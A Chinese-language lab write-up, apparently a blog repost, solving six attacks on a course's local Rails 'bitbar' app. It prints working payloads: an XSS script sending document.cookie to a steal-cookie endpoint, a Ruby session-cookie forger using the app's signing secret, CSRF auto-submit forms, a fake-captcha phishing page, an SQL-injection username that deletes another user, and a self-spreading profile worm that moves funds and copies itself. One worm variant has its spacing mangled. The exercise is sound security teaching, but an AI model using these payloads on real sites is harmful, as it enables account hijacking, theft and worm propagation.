bitbar 网站攻击实验
實(shí)驗(yàn)環(huán)境
https://github.com/TouwaErioH/security/tree/master/web1
Windows10
Oracle VM VirtualBox
Ubuntu16.04 i386
安裝Ruby和rails,http://gorails.com/setup/ubuntu/16.04
下載實(shí)驗(yàn)提供的project 2源碼
重定位到/bitbar目錄下,執(zhí)行bundle install
開啟服務(wù)器 (rails server)
可以在http://localhost:3000上訪問bitbar
Ruby 2.5.0
Rails 5.0.7.2
實(shí)驗(yàn)步驟
參考:
https://www.w3school.com.cn/xml/xml_http.asp
Cookie:
https://blog.csdn.net/weixin_34183910/article/details/92205222
https://www.cnblogs.com/b0xiaoli/p/3935267.html
https://baike.baidu.com/item/cookie/1119?fr=aladdin
http://en.wikipedia.org/wiki/HTTP_cookie
http cookie browser
https://www.cnblogs.com/lancidie/p/8251187.html
存儲(chǔ)型XSS
https://blog.csdn.net/weixin_44720762/article/details/89736508
1. attack1 漏洞分析及攻擊原理
Attack 1: Warn-up exercise: Cookie Theft
l開始網(wǎng)址
http://localhost:3000/profile?username=
l評(píng)分員將提前以u(píng)ser1的身份登錄bitbar,然后打開以上的開始網(wǎng)址
l你的目標(biāo)是偷取user1的會(huì)話cookie并且將cookie發(fā)送到
http://localhost:3000/steal_cookie?cookie=...cookie_data_here...
l你可以在以下網(wǎng)址上查看最近被偷取的cookie
http://localhost:3000/view_stolen_cookie
l請(qǐng)將你的答案寫在warmup.txt中
l提示:嘗試添加一些隨機(jī)字符串到開始網(wǎng)址后,觀察這些隨機(jī)字符會(huì)如何影響網(wǎng)頁
原理:
打開開始網(wǎng)址:http://localhost:3000/profile?username=
原本功能應(yīng)該是輸入文件名查看文件,測試 123,可見是 get方法發(fā)送request。
測試發(fā)現(xiàn)存在XSS漏洞,可以直接執(zhí)行js代碼
測試方法:
<script>alert(/xss/)</script>
先輸了123,然后看url變化,直接顯示了username=123,直接輸了<script>alert(/xss/)</script>
然后就彈窗,然后看url發(fā)現(xiàn)代碼直接就顯示出來了,說明沒有過濾、html編碼等,就有xss漏洞了
Rails框架采用客戶端session而非服務(wù)端session,cookie中已經(jīng)存儲(chǔ)session信息。
題目說明user1已經(jīng)登錄bitbar,打開目標(biāo)網(wǎng)頁,故會(huì)話cookie此時(shí)已經(jīng)存在user1的瀏覽器,直接使用document.cookie屬性就可以獲取字符串格式的cookie.
題目說明獲取cookie后發(fā)送到
http://localhost:3000/steal_cookie?cookie=...cookie_data_here...
這里也是get方法,?后為參數(shù),字符串形式。
故目的url為 ‘http://localhost:3000/steal_cookie?cookie=’+(document.cookie)
可以用XMLrequest發(fā)送請(qǐng)求,設(shè)置openmethod為GET,url為上述url即可
代碼如下
<script type="text/javascript">
var x = new XMLHttpRequest();
x.open("GET", "http://localhost:3000/steal_cookie?cookie="+(document.cookie));
x.send()
</script>
將這段代碼注入到開始網(wǎng)址,
運(yùn)行效果:
執(zhí)行js代碼前
執(zhí)行后:
也可以
Image()).src="http://localhost:3000/steal_cookie?cookie="+document.cookie
效果一樣
題目的意思是user1已經(jīng)登陸,然后打開了那個(gè)頁面,然后我們直接偷他的cookie(相當(dāng)于user1走開了,坐他旁邊的人來操作一下)
若要做到竊取任意人的cookie,用存儲(chǔ)型XSS,將偷cookie的代碼上傳到服務(wù)器,這樣以后每個(gè)打開頁面的人的cookie都會(huì)被偷,但是這樣需要表單,數(shù)據(jù)庫......固定到網(wǎng)頁,或者其他用戶要調(diào)用的表單
2.attack2漏洞分析及攻擊原理
Attack 2: Session hijacking with Cookies
l在本次試驗(yàn)中,你將會(huì)獲得attacker的身份:用戶名attacker,密碼attacker。你的目的是偽裝成用戶user1登錄系統(tǒng)
l你的答案是一個(gè)腳本。當(dāng)這個(gè)腳本在JavaScript console中執(zhí)行時(shí),bitbar將誤認(rèn)為你是以u(píng)ser1。請(qǐng)將這個(gè)腳本寫到a.sh中
l本次試驗(yàn)中,你可以使用Mechanize。Mechanize是一個(gè)Ruby的庫函數(shù), 它被用于與web應(yīng)用實(shí)現(xiàn)自動(dòng)化交互。在本次試驗(yàn)中,你必須要保存服務(wù)器發(fā)送的所有的cookie值。
l提示:網(wǎng)站是如何保存會(huì)話的?網(wǎng)站是如何驗(yàn)證用戶當(dāng)前是否登錄?網(wǎng)站是如何驗(yàn)證cookie的真實(shí)性的?
網(wǎng)站使用cookie保存對(duì)話。登錄時(shí)附帶cookie說明當(dāng)前用戶登錄。使用簽名驗(yàn)證cookie真實(shí)性。
原理:
網(wǎng)站識(shí)別用戶使用的是cookie。要偽裝成user1登錄系統(tǒng),需要偽造user1的cookie。
和attack1不同之處是attack1中user1已經(jīng)提前登陸,故可以直接document.cookie獲取user1的cookie。
要偽造cookie需要了解cookie的生成過程,rails的cookie生成過程如下:
加密過程:
Session data的登錄信息保存在warden.user.user.key
session = { "warden.user.user.key" => [[1],"secret"] }
序列化->Padding->加密AES-CBC->拼裝加密內(nèi)容和IV(BASE64)->簽名HMAC-SHA1->拼裝簽名
解密過程:
分離簽名->驗(yàn)證簽名->分離加密內(nèi)容和IV->解密->UNPADDING->解析->完成
先使用attacker登陸bitbar,burp suite抓取信息,查看Bitbar的cookie結(jié)構(gòu)
如上圖,--后為簽名,直接分離,前面部分進(jìn)行其他解密步驟。
經(jīng)過解密測試bitbar沒有采用AEC-CBC加密,故在加解密時(shí)可以跳過相關(guān)步驟
題目提示使用Mechanize進(jìn)行交互,安裝:
使用:
模擬登陸:
實(shí)例化Mechanize對(duì)象
訪問登錄頁面
獲取表單
使用attacker attacker填寫表單,提交
服務(wù)端返回cookie
對(duì)返回到cookie解密:
分割簽名 --
BASE64解碼
反序列化
得到session信息
代碼
# 模擬登陸
agent = Mechanize.new #實(shí)例化Mechanize對(duì)象
url = "http://localhost:3000/login"
page = agent.get(url)
form = page.forms.first
form['username'] = form['password'] = 'attacker' # 使用attacker的信息填寫表單
agent.submit form # 提交表單
cookie = agent.cookie_jar.jar['localhost']['/'][SESSION].to_s.sub("#{SESSION}=", '') #返回cookie
cookie_value, cookie_signature = cookie.split('--') #分離簽名
raw_session = Base64.decode64(cookie_value) #BASE64解碼
session = Marshal.load(raw_session) #反序列化
puts session #打印cookie
截止到此得到attacker的session 信息為
{"session_id"=>"66ef9a22ca26e27ea4d3018b12c07999","token"=>"q2VXDRnMskkf-69Gu2PiTg", "logged_in_id"=>4}
可見登陸id以數(shù)字表明,可以判斷用戶按順序標(biāo)記(已知用戶user1,user2,user3,attacker),那么user1應(yīng)該是 logged_in_id為1.
將id改為1,然后進(jìn)行加密過程(序列化,BASE64編碼),即可得到偽造的user1的cookie的前半部分。
session['logged_in_id'] = 1
cookie_value = Base64.encode64(Marshal.dump(session)).split.join # 偽造前半部分
服務(wù)器還要驗(yàn)證后半部分的簽名,由上面的理論分析可知簽名采用HMAC-SHA1。
偽造簽名需要獲取秘鑰,在本地源代碼得到簽名秘鑰
路徑如圖
利用密匙生產(chǎn)簽名,--鏈接,得到完整的user1的cookie。
cookie_signature = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, RAILS_SECRET, cookie_value)
cookie_full = "#{SESSION}=#{cookie_value}--#{cookie_signature}" #簽名并合并
puts "document.cookie='#{cookie_full}';" #打印完整的cookie
之后繼續(xù)利用Mechanize,利用偽造的cookie登錄bitbar,驗(yàn)證是否偽裝為user1即可。
可以利用 http://localhost:3000/profile驗(yàn)證,如圖,頁面信息顯示當(dāng)前登錄為attacker,使用偽造的cookie訪問該頁面,若顯示user1說明成功。可以直接打印返回的reponse.body,查看相關(guān)字段
url = URI('http://localhost:3000/profile')
http = Net::HTTP.new(url.host, url.port)
header = {'Cookie':cookie_full}#使用偽造的cookie訪問
response = http.get(url,header)
puts response.body#查看相關(guān)字段
a.sh見報(bào)告文件夾 answer/a.sh
運(yùn)行:ruby a.sh
3.attack3漏洞分析及攻擊原理
Attack 3: Cross-site Request Forgery
l你的答案是一個(gè)名字為b.html的html文件。評(píng)分人將用瀏覽器打開b.html
l在打開b.html前,評(píng)分人將提前使用user1的身份登錄到bitbar
l打開b.html后,10個(gè)bitbar將從user1的賬戶轉(zhuǎn)到attacker的賬戶,當(dāng)轉(zhuǎn)賬結(jié)束時(shí),頁面重定向到www.baidu.com。
l你可以在http://localhost:3000/view_users查看用戶列表以及每個(gè)用戶擁有的bitbar
l在攻擊的過程中,瀏覽器的網(wǎng)址中不能出現(xiàn)localhost:3000
原理:
我們不清楚轉(zhuǎn)賬的機(jī)制,所以先進(jìn)行一次轉(zhuǎn)賬,抓取數(shù)據(jù),查看相關(guān)內(nèi)容,然后構(gòu)造b.html。
題目提到評(píng)分人提前登陸user1,故瀏覽器已經(jīng)存儲(chǔ)user1的cookie。
分析源代碼可以找到user的密碼
登陸user1,向attacker轉(zhuǎn)賬10,抓包
可知向/post_transfer接口POST數(shù)據(jù) destination_username 信息即可。另外有編碼方式 Content-Type。
需要注意附帶cookie
查看網(wǎng)頁源代碼,找到相關(guān)信息,構(gòu)造表單
表單內(nèi)容為目的地址(轉(zhuǎn)移接口),方式(POST),編碼方式(在抓取的數(shù)據(jù)包有)。
這里設(shè)定id為getpay,用于后續(xù)自動(dòng)提交該表單
<form action="http://localhost:3000/post_transfer" method="post" enctype="application/x-www-form-urlencoded" id="getpay">
<input type="hidden" name="destination_username" value="attacker">
<input type="hidden" name="quantity" value=10>
</form>
以上完成轉(zhuǎn)賬表單,要實(shí)現(xiàn)自動(dòng)轉(zhuǎn)賬,需要設(shè)置,當(dāng)b.html被打開即調(diào)用函數(shù)提交表單
可以使用window.load
最后添加重定向到baidu.com的代碼,延時(shí)0.2s轉(zhuǎn)到百度。
setTimeout(function(){window.location = "http://baidu.com";}, 0.2);
完整代碼b.html見報(bào)告文件夾 answer/b.html
測試
當(dāng)前用戶信息
打開b.html
結(jié)果成功
注意某些版本firefox執(zhí)行可能出現(xiàn)沒有跳轉(zhuǎn)(setTimeout沒有執(zhí)行),參考http://www.gxlsystem.com/JavaScript-25470.html
解決。
4.attack4漏洞分析及攻擊原理
l你的答案是一個(gè)或者兩個(gè)html頁面,命名為bp.html,bp2.html(可選)。評(píng)分員會(huì)在瀏覽器中打開bp.html
l在打開bp.html前,評(píng)分員已經(jīng)用user1的身份登錄到系統(tǒng)中
l評(píng)分員將于bp.html頁面進(jìn)行交互,因此bp.html的回應(yīng)要合理。也就是說,如果在頁面上有一個(gè)表格或者有一個(gè)按鈕,并且在頁面上有一些提示要求評(píng)分員進(jìn)行一些操作,評(píng)分員將會(huì)依照這些提示執(zhí)行。
l在評(píng)分員與bp.html頁面進(jìn)行交互后,10 bitbars將會(huì)從評(píng)分員的賬戶轉(zhuǎn)到attacker的賬戶。當(dāng)這個(gè)轉(zhuǎn)賬操作執(zhí)行完成后,頁面將重定向到www.baidu.com
l你的攻擊必須要在于用戶互動(dòng)的前提下執(zhí)行(不要再一次進(jìn)行一次CSRF攻擊)。特別的要注意的是,你的攻擊要針對(duì)的網(wǎng)址是http://localhost:3000/super_secure_transfer或者h(yuǎn)ttp://localhost:3000/super_secure_post_transfer。這兩個(gè)網(wǎng)址做了一些CSRF攻擊的防護(hù)。在攻擊的過程中,你不能直接與http://localhost:3000/transfer或者h(yuǎn)ttp://localhost:3000/post_transfer進(jìn)行交互。
l在你的攻擊過程中,需要隱藏你的頁面正從http://localhost:3000上下載內(nèi)容的事實(shí)。
原理:
查看相關(guān)網(wǎng)頁
也可以繼續(xù)測試,抓包,查看。可見和attack區(qū)別是多了一個(gè)隨機(jī)的Token,所以不能用attack的自動(dòng)提交方法。
故需要欺騙用戶輸入token,也就是交互。這里欺騙方法可以是提示用戶輸入Token來驗(yàn)證自己是否是robot。
然后將獲取的token連同quantity和des_username提交即可。
設(shè)計(jì)一個(gè)欺騙網(wǎng)頁,顯示字符串“輸入token驗(yàn)證”,當(dāng)用戶輸入并點(diǎn)擊確定時(shí)調(diào)用自動(dòng)提交表單的函數(shù),完成轉(zhuǎn)賬,并跳轉(zhuǎn)到baidu。
欺騙與按鈕設(shè)計(jì)。點(diǎn)擊confirm后會(huì)調(diào)用getpay函數(shù)
<p> input Super Secret Token to prove you are not a robot</p>
<input id="token" type="text" placeholder="Captcha">
<button onClick="getpay()">Confirm</button>
然后設(shè)計(jì)getpay()函數(shù).
采用和attack不同的XMLHTTPRequest。
功能為:使用value獲取輸入的token,和attacker拼接為發(fā)送的字符串。新建XMLHTTPRequest實(shí)例。然后設(shè)置網(wǎng)址,設(shè)置參數(shù),使用cookie,發(fā)送。這樣就完成轉(zhuǎn)賬。
然后使用window.top.location跳轉(zhuǎn)到百度。
<script>
function getpay() {
var request = new XMLHttpRequest();//實(shí)例
var token = document.getElementById("token").value;//獲取token
request.open("POST", "http://localhost:3000/super_secure_post_transfer", false);//設(shè)置請(qǐng)求但沒有發(fā)送
request.setRequestHeader("Content-type","application/x-www-form-urlencoded");//設(shè)置參數(shù)
request.withCredentials = true;//使用cookie
try {
request.send("quantity=10&destination_username=attacker&tokeninput=" + token);//發(fā)送
} catch (err) {
// Do nothing
} finally {
window.top.location = "http://baidu.com";//最后跳轉(zhuǎn)到baidu
}
}
</script>
完整代碼見報(bào)告文件夾 answer/bp.html
5.attack5漏洞分析及攻擊原理
l你的答案是一個(gè)惡意的用戶名。這個(gè)惡意的用戶名允許你刪除一個(gè)你不具有訪問權(quán)限賬戶。
l評(píng)分員將使用你提供的惡意用戶名新建一個(gè)賬戶。并在“close”頁面上確認(rèn)刪除該賬戶
l作為結(jié)果,新建的賬戶以及user3的賬戶將會(huì)被刪除。其他的賬戶不變
l你可以在http://localhost:3000/view_users頁面上查看所用的用戶
l如果數(shù)據(jù)庫在測試攻擊的過程中被破壞了,你可以停止Rails然后使用rake db:reset命令是數(shù)據(jù)庫復(fù)原。
l將你的最終答案寫在d.txt中
l提示:SQL注入;WHERE子句
原理:
至體積一個(gè)用戶名就刪除user3,應(yīng)該是拼接注冊(cè)的SQL語句導(dǎo)致刪除。
先分析網(wǎng)站源碼,得到注冊(cè)的邏輯。
將直接將用戶名寫到user.username字段。
再看刪除的邏輯,直接使用輸入的用戶名。都沒有做變換,故可以構(gòu)造用戶名,直接寫入數(shù)據(jù)庫,然后刪除這個(gè)用戶,實(shí)際上連接成SQL語句刪除user3.
先隨便注冊(cè)一個(gè)用戶 123 123
在后臺(tái)(終端的命令行)看到相關(guān)SQL語句
再刪除,看到相關(guān)語句
相當(dāng)于語句
delete from users where username = ‘123’
注意是字符串,為注冊(cè)的用戶名加了兩個(gè)單引號(hào)’’。題目還要求同時(shí)刪除創(chuàng)建的用戶,
構(gòu)造為
user3' or username LIKE '%or username LIKE%
這樣刪除語句變?yōu)?/p>
delete from users where username =’user3' or username LIKE '%or username LIKE%’
這樣就同時(shí)刪除自身和user3.除非其他用戶名含有 or username LIKE,否則不會(huì)誤刪
效果: 注意使用英文單引號(hào)
注冊(cè):
刪除自身
6.attack6漏洞分析及攻擊原理
l你的答案是一個(gè)用戶的profile(簡況)。當(dāng)其他用戶閱讀這個(gè)profile時(shí),1個(gè)bitbar將會(huì)從當(dāng)前賬戶轉(zhuǎn)到attacker的賬戶,并且將當(dāng)前用戶的profile修改成該profile。因此,如果attacker將他的profile修改成你的答案,以下情況會(huì)發(fā)生:
n如果user1瀏覽了attacker的profile,那么1bitbar將從user1的賬戶轉(zhuǎn)到attacker的賬戶,user1的profile修改成你答案中的profile
n之后,如果user2瀏覽了user1的profile,那么1bitbar將從user2的賬戶轉(zhuǎn)到attacker的賬戶,user2的profile也被替換成你答案中profile
因此,你的profileworm將會(huì)很快擴(kuò)散到全部的用戶賬戶中
l將你的惡意的profile寫在d.txt中
l評(píng)分過程:評(píng)分員將會(huì)將你提供的惡意profile復(fù)制到attacker的profile上。然后,評(píng)分者將使用多個(gè)賬戶瀏覽attacker的profile。檢查是否正常進(jìn)行轉(zhuǎn)賬以及profile的復(fù)制
l轉(zhuǎn)賬和profile復(fù)制的過程應(yīng)該具有合理的速度。在這個(gè)過程中,評(píng)分員不會(huì)點(diǎn)擊任何地方。
l在轉(zhuǎn)賬和profile的賦值過程中,瀏覽器的地址欄需要始終停留在http://localhost:3000/profile?username=x,其中x是profile被瀏覽的用戶名。
l不會(huì)出現(xiàn)當(dāng)前賬戶沒有錢可以轉(zhuǎn)的情況
l提示:MySpacevulnerability
原理:
實(shí)現(xiàn)兩個(gè)功能:轉(zhuǎn)賬+復(fù)制。轉(zhuǎn)賬功能可以利用attack3或attack4的思路,向接口發(fā)送數(shù)據(jù)即可。
對(duì)于復(fù)制文件并不清楚,需要測試。以及如何使profile生效需要測試。
轉(zhuǎn)賬的代碼參考attack3,4,不再贅述。
修改profile:
使用attacker登錄,設(shè)置自己的profile。Burp suite抓包查看信息。發(fā)現(xiàn)修改profile是利用了/set_profile 接口。
故要修改瀏覽者的profile,只需采用轉(zhuǎn)賬類似的方法,向/set_profile發(fā)送數(shù)據(jù)即可。XXX為待完成部分。
request = new XMLHttpRequest(); //對(duì)象
request.open("POST", "http://localhost:3000/set_profile", true); //地址
request.setRequestHeader("Content-type","application/x-www-form-urlencoded"); //參數(shù)
request.withCredentials = true; //cookie
request.send(XXX)));
查看attacker的profile,對(duì)應(yīng)源碼。發(fā)現(xiàn)一個(gè)用戶的profile被一個(gè)<div id=profile>標(biāo)簽包圍。故可以采用document.getElementById('profile').outerHTML來獲取當(dāng)前被瀏覽用戶的profile的HTML內(nèi)容。
若要做到更好可以在profile加一層包裝,如下,然后只獲取wrap標(biāo)簽內(nèi)的內(nèi)容即可document.getElementById('wrap').outerHTML
<span id="wrap">
Profile
</span>
拼接”new_profile”即為上面XMLHTTPRequest的send的內(nèi)容。注意escape()編碼,然后連接時(shí)使用contact而非+,因?yàn)?在HTML中為空格。
request.send("new_profile=".concat(escape(document.getElementById('profile').outerHTML)));
最后是如何執(zhí)行轉(zhuǎn)賬和復(fù)制的代碼。
網(wǎng)站源碼渲染用戶的profile代碼在views/profile.html.erb中調(diào)用了sanitize_profile函數(shù),而這個(gè)函數(shù)定義在application_helper
santitize 函數(shù),通過 tags 和 attributes設(shè)定了白名單,其中允許href,故可以使用JavaScript偽協(xié)議來XSS
https://ruby-china.org/topics/28760
attributes 白名單不安全,根據(jù)現(xiàn)在的實(shí)現(xiàn)(#issues-27),如果設(shè)置了 attributes 參數(shù),就會(huì)跳過一些屬性過濾,例如協(xié)議過濾:
sanitizie'<a href="javascript:alert()">click</a>'#=> <a>click</a>
sanitizie'<a href="javascript:alert()">click</a>',attributes: %w(href)#=> <a href="javascript:alert()">click</a>'
在class屬性中利用eval就可以執(zhí)行js代碼。
以上完成所有需要的代碼。
測試中發(fā)現(xiàn),服務(wù)器會(huì)將發(fā)送到post_transfer的內(nèi)容的&,變?yōu)?amp;,這樣復(fù)制之后的代碼沒有轉(zhuǎn)賬功能
如圖
故需要對(duì)&做編碼,使用String.fromCharCode()對(duì)&編碼,于是轉(zhuǎn)賬部分向post_transfer發(fā)送內(nèi)容變?yōu)?/p>
request.send("quantity=1".concat(String.fromCharCode(38)).concat("destination_username=attacker"));
最后的profile完整代碼:
<span id="wrap">
<span id="bitbar_count" class="eval(document['getElementById']('myattack')['innerHTML'])"></span>
<span id="myattack"> //eval執(zhí)行下面的函數(shù)
document.getElementById('myattack').style.display = "none"; //不在profile顯示
setTimeout(function(){
var request = new XMLHttpRequest(); //實(shí)例
request.open("POST", "http://localhost:3000/post_transfer"); //目的
request.setRequestHeader("Content-type","application/x-www-form-urlencoded"); //編碼
request.withCredentials = true; //cookie
try {
request.send("quantity=1".concat(String.fromCharCode(38)).concat("destination_username=attacker")); //send內(nèi)容,轉(zhuǎn)賬
} catch (err) {
//DO nothing
} finally {
request = new XMLHttpRequest();
request.open("POST", "http://localhost:3000/set_profile", true); //修改的api地址
request.setRequestHeader("Content-type","application/x-www-form-urlencoded");
request.withCredentials = true;
request.send("new_profile=".concat(escape(document.getElementById('wrap').outerHTML))); //修改瀏覽者profile
}
}, 0);
10; //顯示一個(gè)虛假的profile
</span>
</span>
測試發(fā)現(xiàn)上述代碼在chrome成功轉(zhuǎn)賬并感染,但是在某些版本firefox只轉(zhuǎn)賬,推測是settimeout的問題。
解決:
方法1:直接在class執(zhí)行所有的函數(shù),不使用eval,也不適用settimeout
<imgid="bitbar_count"class='varrequest=newXMLHttpRequest();
request.open("POST","http://localhost:3000/post_transfer");
request.setRequestHeader("Content-type","application/x-www-form-urlencoded");
request.withCredentials=true;
request.send("quantity=1&destination_username=attacker");
varrequest2=newXMLHttpRequest();
request2.open("POST","http://localhost:3000/set_profile");
varnew_profile=document.getElementById("profile").innerHTML;
request2.setRequestHeader("Content-type","application/x-www-form-urlencoded");
request2.withCredentials=true;
request2.send("new_profile="+encodeURIComponent(new_profile));'>
方法2:新建Formdata對(duì)象,使用append方法添加參數(shù)。.fetch函數(shù)是封裝好的js函數(shù)。
<p id="bitbar_count" class="
let transferdata=new FormData();
transferdata.append('destination_username','attacker');
transferdata.append('quantity','1');
fetch('../post_transfer',{method:'POST',body:transferdata});
let profiledata=new FormData();
profiledata.append('new_profile',document.getElementById('profile').innerHTML);
fetch('../set_profile',{method:'POST',body:profiledata});
"></p>
經(jīng)過測試二者都可以完成目的功能。
效果:
設(shè)置attacker的profile
User1瀏覽attacker
瀏覽前
瀏覽后
總結(jié)
以上是生活随笔為你收集整理的bitbar 网站攻击实验的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 股票买入规则和卖出规则
- 下一篇: 光晕:斯巴达突袭进不了游戏-提示错误无法